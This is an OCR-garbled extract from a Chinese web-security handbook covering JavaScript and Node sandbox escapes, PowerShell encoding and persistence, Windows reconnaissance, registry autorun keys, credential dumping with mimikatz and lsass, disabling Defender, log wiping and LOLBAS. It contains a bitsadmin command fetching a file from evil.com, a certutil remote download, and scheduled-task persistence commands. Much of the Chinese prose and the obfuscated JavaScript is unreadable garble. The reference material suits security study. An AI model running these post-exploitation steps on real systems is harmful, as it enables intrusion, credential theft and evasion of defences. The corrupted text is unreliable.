e 100 > +([+!+[1+[+[11+(+11))

String alphabet

e 'a' > ([I+!'[D[+!1+[1]

o 'd' > ([I+0 L0 [+!+[1+1+[1]

o ' > ([+!+[D [+!+[+1+[1+1+[]]

o 'f' > (O+'[D[+0]

o it > ([I+OLOD) [+ + O+ + O+ +[O+1+[1+1+[1]
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o '1' > ([+' D [+!+[+1+[1]
(O+010011) [+1+100]

&
%

(O+1+0) [+1+ 1]

H
%

O+ 0D [+ + O+ + 0+ [01]

]
\

o 't' > ([I+!'+[D[+[1]
(O+1+0) [+1+ [0+ + 1]

c_
%

5.4.11 Trick

B IE N RE XS EF

empty = RegExp.prototype.flags

regSource = { ...RegExp.prototype.source }
regSource.toString = Array.prototype.shift
regSource.length = 4

left = regSource + empty // 4 (

quest = regSource + empty // A ?
regSource + empty // AKX
regSource + empty // Ak )

colon

right

xss = {}
xss.source = 'xss'
xss.flags = 'a'
xss.toString = RegExp.prototype.toString

xss + "" // => /zss/a

5.4.12 Hith

WLIIT

Node.js H' child_ process.exec iy I 2 /bin/sh , FA] DAB (S FH1Z ey 24047 shell

RiARTS

o PRHEE X console.log = function(a){}
E

Wi & setInterval (function(){debugger}, 1000);

5.4. JavaScript
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5D

JavaScript H /XTS5 DLop o e s DIMITRYE UL

BB DUXF— AR GHEATHE DU, ALALHE DUXF G5 1 I BEA T8 DL, (R 98 DU RANER Gb 25 | i il — Gy Sk
Horp— X RS 2 M B 5 — X5

TRV DI DT — X et , AUPUER RIG AT S, S ER RS AR DL, 55 DI
GEAMSL, AT — ARG AN 20055 Ah— AR R S 0 o

WFE DI PAEET for-in / object.assign() / HEBESF ... / JSON.parse(JSON.stringify()) =
S HAET =R X H R — B MOREE DL, AR E R g, IR AR O BRI R R T
L,

%= Sink

e child_process
e cval
e exec

e execSync

5.4.13 BEHEEE

o JavaScript TS

e« ECMAScript Language Specification

e js prototype

o javascript PiEiH

o XSS il I

o exploiting node js deserialization bug for remote code execution

e Prototype pollution attack Content released at NorthSec 2018 on prototype pollution

5.5 Golang

5.5.1 Golang Runtime

Go HHLAEHAR N Goroutine 5 G, WIRLLAEGAR N M. XL G @ifEs| M £, RIPFEK G: M et
B, SCERE M N SRR, A E AR green AR,
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5.5.2 iFRLE

Go WA 4E% R UTF-8
+ 3% Unicode 185 1)FH7FHIFRA rune
o Go ARIEFAFH I FAF R AL

PR A S AR R

=
=

5.5.3 &5k

e Strings, bytes, runes and characters in Go

5.6 Ruby

5.6.1 BE4EE

o ruby deserialization

=}

o Ruby %48k

5.7 ASP

5.7.1 &

FERI R LA T SR, FRER A2 B AT UTE-S J751)

ASP 2Bl s5 4% I (Active Server Page), S #BIT LAY CGL AT B —FIR AT, HM BUSCIFRY

#32 asp .

5.7.2 BE4EHE

e Deformity ASP/ASPX Webshell, Webshell Hidden Learning

5.8 PowerShell

5.8.1 MITRER

PowerShell $24t T Restricted. AllSigned. RemoteSigned. Unrestricted., Bypass. Undefined 7SFPZEHf4$H,

Frokens .

5.6. Ruby
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Restricted 5T ABATEHAN M4, H2 R REPATHIAS, Windows 8., Windows Server 2012 HBRIAfH 1%
Pl o

AllSigned g SLVF AT T RA R4 1A .

RemoteSigned AT MM T HAN, FEMALARLTFES, BWABITMA. WREE
AH BT A AT AL HIAT , ANEORMA R A7 84

Unrestricted ci—FHARAMNING, RVEEHIREANIA. XTARM% L FRNNA, fEsiait
FRATHUR.

BypassBypass AT HMECHIIA (TR AE TGN, (EATIARSTDMAGT, I RS2 2 R
UndefinedUndefined F7 A SO MIA 60, k7R ol 0 Y BKIA T 2 5

5.8.2 Bi&
e —-EC
¢ -EncodedCommand
¢ -EncodedComman

¢ -EncodedComma

e -EncodedComm

5.8.3 EINEE

THRIES

$Action = New-ScheduledTaskAction -Execute '"calc.exe"

$Trigger = New-ScheduledTaskTrigger -AtLogon

$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet

$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings
~$Set

Register-ScheduledTask AtomicTask -InputObject $object

Unregister-ScheduledTask -TaskName "AtomicTask" -confirm:$false

BB sEeE

$Shell = New-Object -ComObject ("WScript.Shell")
$ShortCut = $Shell.CreateShortcut ("$env:APPDATA\Microsoft\Windows\Start,
—Menu\Programs\Startup\test.1lnk")

(@E23)
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(8:EW)

$ShortCut.TargetPath="cmd.exe"
$ShortCut.WorkingDirectory = "C:\Windows\System32";
$ShortCut.WindowStyle 1;

$ShortCut.Description = "test.";

$ShortCut.Save ()

g

$0riginalCommand = '#{powershell_command}'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($0riginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)

Hith

. M#
— alias

o FESCIE
— Invoke-WebRequest "https://example.com/test.zip" -OutFile "$env:TEMP\test.

zip"

o R4
— Expand-Archive $env:TEMP\test.zip $env:TEMP\test -Force

. R
— JEshHHE Start-Process calc
— {51} #FFE Stop-Process -ID $pid

o X
— Bt New-Item #{file_path} -Force | Out-Null
— WEFNE Set-Content -Path #{file_path} -Value "#{Content}"
— B2 Add-Content -Path #{file_path} -Value "#{Content}"
— B Copy-Item src dst
— JHBE S Remove-Item #{outputfile} -Force -ErrorAction Ignore
— T H> Get-ChildItem #{file_path}

o k55

5.8. PowerShell 225




Web-Sec Documentation, 475 1.0

— IRBUIRS; Get-Service -Name "#{service_namel}"
— B3R % Start-Service -Name "#{service_namel}"
— {Z1iR% Stop-Service -Name "#{service_name}"
— MRS Remove-Service -Name "#{service_namel}"

o KL WMI 37#% Get-WmiObject -list

5.8.4 SEE

e PowerShell ‘E 5 3C#Y

5.9 Shell

5.9.1 &

Shell Z2—MRPARIREF, M) Linux f9H4%. Shell BE2—Fhdns, XE—FREFBOITHES .
Linux {28 £ fh Shell , # LA :

o Bourne Shell (ATT ) Bourne J¥%, 445 sh)

o Bourne Again Shell (/bin/bash)

« C Shell (Bill Joy JF%, %% csh)

« K Shell (ATT f§ David G.koun JF%, %W ksh)

e 7Z Shell (Paul Falstad 7%, 44>} zsh)

5.9.2 JTEHF
shell k& —FIUFHRTHE, RIS MBI, EHGHRFRETE (Meta), K09 Shell %
FRR T AT BE S AR ] o
LB TP AR
o IFS {1 <space> B <tab> B{ <enter> =3 —#
e CR Hj <enter> j=/,
. = BEdsh
o $ PR HOEER
e > HE[n] stdout

o >> JBINE| S
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< H5E ) stdin

| fir &4 iE

& JEE TS

s TERI— g ds, AT F—A e

& LEF— AR IATIE, PATTF— s
| FER— A AT, AT — A
'R SNR i  S R E EOR A9 (E

" ARG S NI fir 2 VPR R

T TERG S BTN AR £ M I AT B4

O 7E¥ Shell HiHf764

{3 #E2477 Shell HHTAI2

~ MEIH R E

'number AT AT, A 11

5.9.3 BEHF

BICFARSL, AT (wildeard) 2 shell Hofg—FEFkT4F . 4 shell £ SH0T | THALAAT, shell &
A5 HO 1 B GRS SOV 4 T A L4 T RO s 2540 A BRI UCROAEEE , MR RRd, M o A
TR B E .

5 LB EEAF AR |

* JLRC 0 S AF5F

7 PR — AT

[1ist] VCRL list HPgfE— N4
[11ist] VAT list AMWAEE — T4
la-c] PERC a-c "PIERE—F4F

{stringl,string2, ...} 43 HIVCHH A FRFER

5.10 CSharp

5.10.1 FIAFIS

5.10.

CSharp
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P/Invoke

Platform Invoke (P/Invoke) &4l 77 C# /i) DLL a4 . [mlE . sREUWRE . EARMMEH F el
Platform Invoke SCRH FrR. FIH P/Invoke HIRE S, C# FEF I AR NZ 5 Tl ey Windows API,

using System;

using System.Runtime.InteropServices;

public class Program
{

// Import user32.dll (containing the function we need) and define

// the method corresponding to the native function.

[D11Import("user32.d11", CharSet = CharSet.Unicode, SetLastError = true)]

private static extern int MessageBox(IntPtr hWnd, string 1lpText, string lpCaption,,
—uint uType);

public static void Main(string[] args)
{
// Invoke the function as a regular managed method.

MessageBox (IntPtr.Zero, "Command-line message box", "Attention!", 0);

P /Invoke B RAET 51 T 19 APT ¥ S f i th BUE T AT SCPRRY TAT o, AL URIA T 45 5 BBl
PHAFIER . (R — LR APT W] RER G I H BT iz i, dlad A7 s T APT 8 12 2 1
BT RAFEA

D/Invoke

1€ P/Invoke W3Rl -, AW GFEE THET Delegates #LilH D/Invoke, it 5 B i 7 Xk H Ir i
iy API,

5.10.2 SEHE
.Net

e NET documentation

FIR$#I5

o Emulating Covert Operations - Dynamic Invocation (Avoiding PInvoke & API Hooks)
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CHAPTER 0

R MiEE

6.1 Windows PJ;&iE

6.1.1 (SRME
BEXd

o FH144 hostname
o HIIA ITENILFR dsquery computer
o PAMCE AN T A
— systeminfo
— wmic qfe get description,installedOn /format:csv
o HHEMA ver
o HRMEE
— tasklist /svc
— wmic process get caption,executablepath,commandline /format:csv
— get-process
o BENTHNLEAR set
o #EIILIFES schtasks /QUERY /fo LIST /v
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o FEFE MK E)] DRIVERQUERY
o HARBMERGGEE
— Z8}] wmic os get osarchitecture
— &Y% wmic os get caption
o BWEZHSYL wmic logicaldisk get caption
o BELEMNEIEE wmic product get name,version
o HHIRSHEL
— wmic service list brief
— sc query

— Get-WmiObject win32_service | select PathName

HiER

o PRI I net view

o MK net view /all

o BEFAE, net view /domain

o AR HREE

o H{ZE{5H nltest /domain_trusts

o ENIFE net time /domain

o BRIP4 dsquery user

o TiAIEAIZFR net group /domain

o TIPS net group "Domain Admins" /domain
o BWFEER

nltest /dclist:xx

Get-NetDomain

Get-NetDomainController

net group "Domain controllers"

o 4L

APER

o HHEM,
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— net user
— whoami / whoami /priv / whoami /all
— wmic useraccount get /ALL /format:csv
o HAPHFAUEE whoami /priv
o BEYHIFIR net localgroup administrators
o BEHLM T quser / quinsta / query user
o BEEMHIIAENL, &%, WA, REHRAE, TR, %6 net config Workstation

o ACL fg M. get-acl

REER

o NI B A R
o FIH{EH ipconfig
o S E
e ARP ¥ arp -a
o EMFE route print
o WSWFAYYE ] netstat -ano
o JERERY I I
o VRIfZEL
— Get-NetTCPConnection
o hosts {4
« T4 DNS
o DNS Z17
— ipconfig /displaydns

— Get-CimInstance -Namespace root/StandardCimv2 -ClassName

MSFT_DNSClientCache
o BRI NG L

— powershell -c¢ 71..65535 | % {echo ((new-object Net.Sockets. TepClient). Connect(’allports.exposed’,$__))
$ ) 2>$null”
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Bh AT

o BEP KHIRE netsh advfirewall show allprofiles

o [jj k3 HEHE netsh firewall show logging

o [P kREHEN netsh advfirewall firewall show rule name=all
e netsh firewall show config

e netsh firewall show state

« Windows RDP jE#0 %

DV P PRAT A0 T 5 B
YU B A A P Y
TE ML 2% SO R 5 47 1

— C:\sysprep. inf
— C:\sysprep\sysprep.xml

— C:\Windows\Panther\Unattend\Unattended.xml

C:\Windows\Panther\Unattended.xml

REER

e cmdkey /1
o Kklist

o msf meterpreter

IR

o OB
— xlsx / xls
— docx / doc
— pptx / ppt
~ vsdx / vsd
— md / txt

o W4t
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— zip [ rar / Tz
« VPN fit%
— ovpn
. 10
— py / php / jsp / aspx / asp / sql
T ¥ SC A

— conf / ini / xml
R Ry
— K5 /K /&g / login / user
— %t / pass
— I/ SCRY ) AT/ &y / git / svn
— WEAE / EIRGR / SERE
— fQB / Wk / VPN
- e/ Hw
— R4 [ 4k ) i ) WM& /1T
- G/ EHER ) BdRE
— WafE /e / B R/ A

Bt m#EEEH

o NetBIOS 4

« OXID f#4

Hith

o JEIRSE Sk
o [
o HRALBITIT S
o VFTUSCRD SR
o BRI TR
— wmic qfe get Caption,Description,HotFixID,InstalledOn

o HELHHER
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— wevtutil
— eventvwr
o TEMHAER
— reg
o LRI RE agent HiAEHAF
o LR
o Bfh/BCE SO
— assoc
— assoc .ext=example
o PowerShell JiiAs
o Net i
Wi-Fi 714

6.1.2 X1t
ReL5eK 3 1

o G RGERUR AT
— attrib +s +a +r +h filename / attrib +s +h filename
o FIH NTFS ADS (Alternate  Data  Streams) £z {4
o FIJHl Windows PRy
— aux|prnl|con|nul|coml|com2|com3|comé|com5|com6|com7|com8|com9|1lptl|1pt2|1pt3|1lpt4|1pt5|lpte
i

sethc

sethc.exe ;& Windows REETEM P4 K Tk shift 58 RS A PR Y, 246 5 SUHMER A A TALRR
B, WRAE AT sethe.exe WA TG, FES 0% A TS A FLIK shift RIATIRAFRURR .

BRIRENHH

TEFRRASH) Windows Ht, B R 2 B RGO, 75 BT FLAh i B2 25 R Se B e
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EARPEAE A A0 HKEY _LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Option F¥sMIMi sethc.exe , JRJGHE sethc.exe XN H NN debugger 4, H{H N
BRI

ERES

Windows F47 schtasks #l at FHHRIL4HLH. 3T at R EIAR Windows B 23

W fiy 42~ schtasks /create /tn "TEST_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "TEST_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
MIRs: 64~ schtasks /delete /tn "TEST_OnLogon" /f ,

BEREF

Windows o oPAE O P OB S oE AT OB oA, A HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\Userinit ¥ & .

A 7E HKCU\Environment\ J§42 FiX B UserInitMprLogonScript LI,
p g P

BRERIPERF

Windows 7] DA & X 5tsefsd#2 %, {81 HKEY_CURRENT_USER\Control Panel\Desktop i%# .

R A P

Windows 0J DASEFITE P24 S $ SRBIEEZGEUT 7, X Ak il e — s 6 F RO, (R AT A 4%
R AR -

FER R IR P EEAG , WT DME SRR 7 B T, X AT (R P R e i e R A R .

CLR

CLR (Common Language Runtime Compilation) AFiEF 2170, PN NET r=Mi @ iaf 38, v
PARLIE HUPEAR N NET R4

NET BYFMIEBRHF CLR, LRI DAEEIE CLR (7 A SeBUR 1 ].
Winlogon Helper DLL /FI7]
Winlogon J&—/~ Windows 41¢F, FIAALTAFEE), QUGS TR . SOUUEMIRIEL A PR, %

M. BUE BRI A B, T S Windows ESrIUE] R SR e iR . Jir DART AK
FERX MR I TR G
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HEMFRACEAN T :
o HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell Tk,
T exe FEI7
e HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit ffj
THAT exe 2P

e HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify H T
AT dil S

Biaah

ETEMRMEE3

WA T E A A S E T PASE B P AOITHLE JE 30, 32252 Run Al RunOnce , H:A RunOnce I
Run RHFET RunOnce PR —IK, SdT585R 52 3.

MR
e HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
e HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
e HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
e HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
e HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
BT ORIGH B RS2 BT
o HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
e HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
BB RS S IR A BT

o HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell
Folders

o HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
o HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

e HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell
Folders

e &= eI RE S I DA W/l
e HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

e HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
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e HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
e HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices

F P8 JE3h{/ & HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell , H.

Userinit f# RV E MiZ 5 I 2 MR .

W RS TR R, ] DA R DR R T R R SR, A SR B (R -
o HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveActive
o HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaverIsSecure
o HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveTimeOut

o HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE

ETHREARMBEE

H B3l H3%,C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
H X652 i P 4%, C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp X}ff & f
HR . FE NT6 PART, Pi~H3% N C:\Documents and Settings\Username\Start Menu\Programs\StartUp
/ C:\Documents and Settings\All Users\Start Menu\Programs\StartUp .

6.1.3 #PR

UAC

&

UAC (User Account Control) /& Windows Vista #il Windows Server 2008 5| Af—N4HLH], 242

EARAE AR, 2Bk R A EOR R GAR -

U H P Windows B, 84 PR SH%F—1> access token, XA~ token F145 security identifier (SID)
FMEE, Yo T H P BRgR.

SR UAC BiR{E

o DAVEBE SRR 3
o B RS. UAC ¥
o BEEARIRE SR H % (%SystemRoot% / %ProgramFiles% %)

o BB ACL (access control list)
o ZRUKE
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o JEMIMST, BEOR R, BRI

ByPass

« DLL #3¢
o HERREA
o MR

WPREEF
BRI 2 E 55, AR i . ZR I SE R A 2B R SRS R 7 2R A s T 7E
WAZS P RYIRFERSATRRS . AN, 3KS g UAF B HABZE AR IR, DAIRASR R AR .

W 32 2 AN ARG — 2 B MR, B SR T AT A, 2 S DA B AR
ISEEI

BB XA

£ Windows 1 Fi] DAB A AU B 42 B4 DA T ik 46
« HPTHSSCPERE S, 424 AppData Temp
o C:\, BUANIL TP ABA
e C:\ProgramData fj-H %, BRINFEOL T I ARSI 5 AT
e C:\Windows\Temp [ 7" H 3%, ERINFELCT A DARIEESCHRIE . B AT
Bk ACL {5 B A [ AccessChk, 5% PowerShell /] Get-Acl fd-#F .

FT DA R 28 SO e ST H SR SRR, B A—SERTRESpom kg dll, A dll fyn st - SRR
FR-

MOF

MOF J& Windows &G —A3C (c:/windows/system32/wbem/mof/nullevt.mof ) MUMH” FLAF KT 5A%
A7, HAER @RI A 2 5 M R G AIBE T

A S B AR AR A Shell i, W RA_EA%E il 1) mof SCPF AN AYALE, — & WA X 4> mof fit
ESENER

— SR A mof A BRI B G P ar S/ vbs BIAS, MPATIEEETA TR E B Rk
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RIEHE

o Windows AHL#MSHA] S T H

mimikatz

Isass

wce

gsecdump

copypwd

Pwdump

ProcDump

* https://docs.microsoft.com/en-us/sysinternals /downloads/procdump

« Windows A5 mEfR 11
— LOphtCrack

— SAMlInside

— Opherack
o BT HDLR
o ZSHL hash+ HSCHNEL

o win8+win2012 BF SCHIEL

o ntds.dit 5 H +QuarkPwDump E2EU

e vssown.vbs + libesedb + NtdsXtract

e ntdsdump

o FIf powershell(DSInternals) 434t hash

o [l net use \\%computernamey, /u:%username’, B &&=k EL

o FREIEERUR;, W crash BAERGS, LB dump SOPF R

o AL E IR

o DLL ##%

s BARG LA,

e X[ defender

S

— Set-MpPreference -disablerealtimeMonitoring $true

6.1. Windows ;&
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6.1.4 JRIlEE

H;

>

o &HHE eventvur
o fhii HA eventcreate
o WREHK
— 3389 HRAFK
- XHHTIFHE
- XMHEHHE
— WYids H &
- ARG
— REfF il
— TR
— PR
o XERHE
- RGEeHGE
o HERIE
— A% Hi %SystemRoot%\System32\Winevt\Logs\System.evtx
— 474 H & %SystemRoot%\System32\Winevt\Logs\Security.evtx
— M HRF HE %SystemRoot%\System32\Winevt\Logs\Application.evtx
o M5 HE

— IIS %SystemDrive)\inetpub\logs\LogFiles\W3SVC1\

AR

e AppCompatFlags

o Background Activity Moderator (BAM)
o MuiCache

e RecentApps

e RunMRU

o ShimCache (AppCompatCache)
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AR

« HKEY_ LOCAL_MACHINEsystemCurrentControlSetServicesEventlog

X

Prefetch

PO, FRAFIARGE VT SRR, §7 848 PF. fEAE C:\Windows\Prefetch .

JumplLists

LAl (L <3 " e A 5 N D A 8 S =l SN VA i 4
%APPDATAY%\Microsoft\Windows\Recent .

Amcache / RecentFileCache.bcf

Windows F i) {8 0SSP A BR R AT AN ) AT SRR B R P AR A e PO AL, &l T8 2 Wl AT 30
PR E YIS AT IR TR) R 5 i 2 Ut R] o

T Windows 7. Windows Server 2008 R2 S R 5 b, MR K
C:\Windows\AppCompat\Programs\RecentFileCache.bcf , & 2 3 0 61 2 B [5]. ¥k & o b5 [a].
RV TR RIS 4

F  Windows 8. Windows 10, Windows Server 2012 E R G, M RATEHE

C:\Windows\AppCompat\Programs\Amcache.hve , & K/, A, shal, — k4| SC {288 S5 45
S|

JEh O

B 1815

Windows If[a)ij2 Windows 10 7& 1803 B 5 AR—ASFEE, 2L ML f Mt HiEd i sy, iz
Frife 45,

eI

o ZRHEG XM cipher /w:<path>

o KAWL count IR format D: /P:<count>
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6.1.5 &
HRAO

« SMB 5551y

« SqlServer %575
LOLBAS
fEifr

LOLBAS, 4#F Living Off The Land Binaries and Scripts (and also Libraries), Z—FfEAMHATR, Z1F
2013 4 DerbyCon Hj Christopher Campbell £ Matt Graeber K, % Philip Goh #2&H k& .

LR A A Microsoft BSE = IAMENMIZES , (2R T P ASERUER WIIEE, WEEEHH T NN
?ﬁﬁz&*o L%ﬁﬂif?—‘rﬁ K%ﬂiﬂq? —Fﬁﬁ‘é/u ﬁfh y‘t /u\,u ﬁﬂ Qj?‘ —j‘ UAC, sz‘ T*Iﬁ??i:ﬁﬂ#

RiERF

i

e appsyncvpublishing.exe
— AT powershell
e bitsadmin.exe

— F# X bitsadmin /transfer <job_name> /priority <priority> <remote_path>
<local_path>

— F#Xff bitsadmin /create 1 bitsadmin /addfile 1 https://evil.com/autoruns.
exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete
1

— B bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.
exe c:\data\playfolder\cmd.exe & bitsadmin /RESUME 1 & bitsadmin /Complete
1 & bitsadmin /reset

— MBI FT bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.
exe c:\data\playfolder\cmd.exe & bitsadmin /SetNotifyCmdLine 1
c:\data\playfolder\cmd.exe NULL & bitsadmin /RESUME 1 & bitsadmin /Reset

e cdb.exe

« certutil.exe
— Al Oy, MR EEIAPATIE S
— UEBAEHEA T hE
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— TF# 3 certutil -urlcache -split -f https://addr/example.exe
— R certutil @45 cache [, FFEEMER
— base64 #if#iY certutil -encode / certutil -decode
cmd.exe
cmstp.exe
control.exe
— fm# dll
csc.exe
— G C# Bf
cscript.exe
— PATHIA
extexport.exe
expand.exe
— EIF— e A i S
forfiles.exe
— forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe
mofcomp.exe
makecab.exe
msbuild.exe
— gy R
mshta.exe
— HTML }
msiexec.exe
— 224 msi
— fm# dil
msxsl.exe
— Ab¥E XSL FE7
netsh.exe

installutil.exe

— T[RRI

6.1.
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IEExec.exe
— .NET Framework [flHFe/F
powershell.exe

psexec.exe

— https://docs.microsoft.com /zh-cn /sysinternals/downloads/psexec

reg.exe
— MRS S
regedit.exe
— YEMREREN

regsvr32.exe

— WEMBIESHER P/ ActiveX 5
rundll32.exe

— AT DLL SCHFA i R R R
sc.exe

— BEMRIIREE B
schtasks.exe

— GERTHRIES
shred

— EEHASM, B ISR
type.exe

— FIF ads B0 type <filepath> <target_file:ads>
wmic.exe

— Windows & T H
windbg.exe
winrm.exe
wscript.exe

— MiAG|%

waitfor.exe

— MTFRZME RN, TARR S RS EES .

244
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6.1.6 MSPRC
MSRPC (Microsoft Remote Procedure Call) & #tf DCE/RPC Hp BB, FT 3%+ Windows &
496 v AR P AR D 2% R
MSRPC firffi i i3 11/ UDP 135 i1 TCP 139 / 445 .
MSRPC & PAJHT
o P
IR 55 3k 7
SEUES:
R 3h
USRS

6.1.7 A
IS
APRE5T S
A

Windows RGAFAE—L R T4 E IR E R, 4502 SYSTEM(F4). Trustedinstaller ({5 {EFEF
i), Everyone(if N). Creator Owner(fl|@#) &5, XURRRH A B TARM A, REaemsr ik
Fio HHp SYSTEM #4588 & AN BIARAI K, —BHRAE TCE DS B S RUR -

RP4
Windows RGENE T VAN AL, HTEBA BRI PSS B 4, A Ik

PR A A A AR o

EOMNEOLR , RGCHH P T 7 A, R8I T R A ERURR o X 2620 4 - 452 5140 (Administrators) |
ERR P4 (Power Users) | 15 il P14 (Users) . &4 #2E4 (Backup Operators) . U5 41 (Replicator) .
REH YL (Guests), B EHIEH P4l (Authenticated Users),

Te4

TAE4L (Workgroup) 28 i ] e i BLf 5 i () S U S, BRI 0L R TSR AE 44 ) workgroup ) T.
TR, TARABRHEANEL, EEMA T ENEERR D, AT BRSO .
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HhRA
HRAR

WIS PRI Pk FORTRD, S8 Pk PR TS S H S . AR, — N P AR S
AT — G AL S S, . FEI ] Pl A SID (Security Identifier) 3&AH &4y, H NTLM Mok
# Kerberos KHE G157 .

HEAF

PLES I P AR LR IS BT B S , IrA AR EVER A — DL, ML g 4L 8

45

L

#5kng (Group Policy) 44 Pk FORITHAAUIK - 9 TAREREE . RIS O T8 R SE . AR A
ZH TP P IRCE R BRI E . AR 250 (LGPO B LocalGPO), WJATEM 7. H AR Y1
SEPL AT PRAT SRR R o AEIRIRSE P ) 413 F PR 1 GPO(Group Policy Object).

P RE Al

Windows i 44 AR AT )74 DNS, mDNS, LLMNR. NBNS,

NetBIOS

NetBIOS (Network Basic Input/Output System) J&ETF MR H ML, WH#H UDP 137, UDP 138,
TCP 139 %11, Windows 7E%%% TCP /TPt i £ ERINE R PML, W] RE S BRI B RSR AR5 A W 25 9%
TEBE A

FT NetBIOS 4 NBNS (NetBIOS Name Service) k%, ## WWT7E UDP 137 i1, %R =Fo b :
F NetBIOS #F/f#MNTE] IP. EifjHE—4~ NetBIOS 7 SHPRAS, M/ BE—1 NetBIOS £,

Al PAE A nbtstat T HF|H NetBIOS s/ 2%
LLMNR
FERE A Z FE L FRMENT (Link-Local Multicast Name Resolution, LLMNR) 2 —4~%:F DNS s as& =m0

W, TPv4 H1 TPv6 1) =ML AT DAL e bSO ] — A A 8% 1 1) EAIAT 2 FRAENT . %P Windows Vista
Ja#sI A . LLMNR il UDP 5355 s [, W] A 2 # ik 224.0.0.252 (5 FF02:0:0:0:0:0:1:3) i1,

246 Chapter 6. HMEiE



Web-Sec Documentation, &% 1.0

mDNS

mDNS (multicast DNS) £ Windows 10 Figf5| A, KW UDP 5353 g, WAL AL, 224.0.0.251 (
FF02::FB ) . mDNS FZSLH THER A S DNS RS540 i B0 i Jaydm ) P i S LS8 B B & BRAREA

WPAD

W 26 FC 1R 15 3 R Y (Web Proxy Auto-Discovery, WPAD) J&—#h7%& i i DHCP #1/8 DNS &7
VRN —NELE SO URL ¥k TERINAT N 8L SCH S, B AP TIEC SO DA 2 ¢ € URL [
it AR

i

AR A 2 ST PLE A EATRE] R, I TR B 2 . WO AR S A IR DA LR
TG, FER, BAE QR 8 d T BT R RS A e A e

45
i it

B (Trees) 2 MM, XL —REMFINCE, BRI ELR 4% H (namespace).

#

M (Forests) J— Ak AD B, h— SR, AR B R4 R0 .

b b

ADDS ) H A7t fetddz il ¢ (Domain Controller) Py, — MmN LAH £ Gz iy, A —Mskdaiilde iy
HALILT2 P45, A LA R A R 2 -

G ERRIN— PR S, XA 28 B 3h 52 2 HAb s fil w8 B s e

AD ¥R A £ FHE HIEEE (Multi-master Replication Model ) 188 FA1E #l#5 = (Sing-master Replication
Model) ,

Z FAUE ] DA 3 A — S s N AD X5, IR Ja X G52 il 21 Hof ek il s, R
Ay AR 2 £ ENUBEC A T4

H R HIBEOR T B — S PR ERAE EHL (Operations Master) (#3idss il 5 01 SO BOARgE K, I
PR ) 2] At g s 2
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5

PN () F5 B RNBAF AL R AR, A T DA IR 38 A R B

HIEERER

Active Directory HUfE/E AT PAZ A PAT JLFh:

e Tree-Root Trust

— M BA R
e Parent-Child Trust

— BRI, i A

« Forest Trust
— ARPAARANE TEAER R, WA BT B A A5 A
— WARZ IR R A K R Tk B shy TSI HAAK L

+ Realm Trust

— ADDS n] AFIE Windows ZRGEH) Kerberos I8 [A] 1] {5 (%
« External Trust

— LT PSRN R 18] T A I AR AR R R H AL K AR
e Shortcut Trust

— AT RAZRRE I L B A I T

ou

HLH(L (Organization Unit, OU) @2—PAENER, KRN RALUZEA, WUEHAER. OU
S WAL TARH. TRl ZA R LA S A 2L 5%

Active Directory

1G3 H 3t (Active Directory, AD) S22 [ Windows Server ) H k4. Active Directory 77 T4 M 4%
MEREE, HHALE R PRS2 S Al i X 25 5

ADDS

Active Directory #2t H F MR 55 B0 A BFRAE Active Directory Ik 45 (Active Directory Domain Services,
ADDS) , 157 HREWR PR . SIS TAE, WAREZ MR . )8 g 5t
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MZHE FFE, ADDS g/ R] PA4>A Partition, Schema., Domain, Domain tree, Forest, OU, Container,

Partition tH#FK°~ naming context, J& AD DS $#EEM—HR5r. Schema Z1EiEAE ADDS FREHEN E L.
Container 524 ADDS $ {21 ZUEZLHX 4

MEEH X4, ADDS A]PA43H Domain controller, Data store, Global catalog server, RODC (Read-only

domain controller) . Site. Subnet,
R il g A se B ADDS B, A sEAHl ] DAL FRESE B8 O R 2 H A A delds
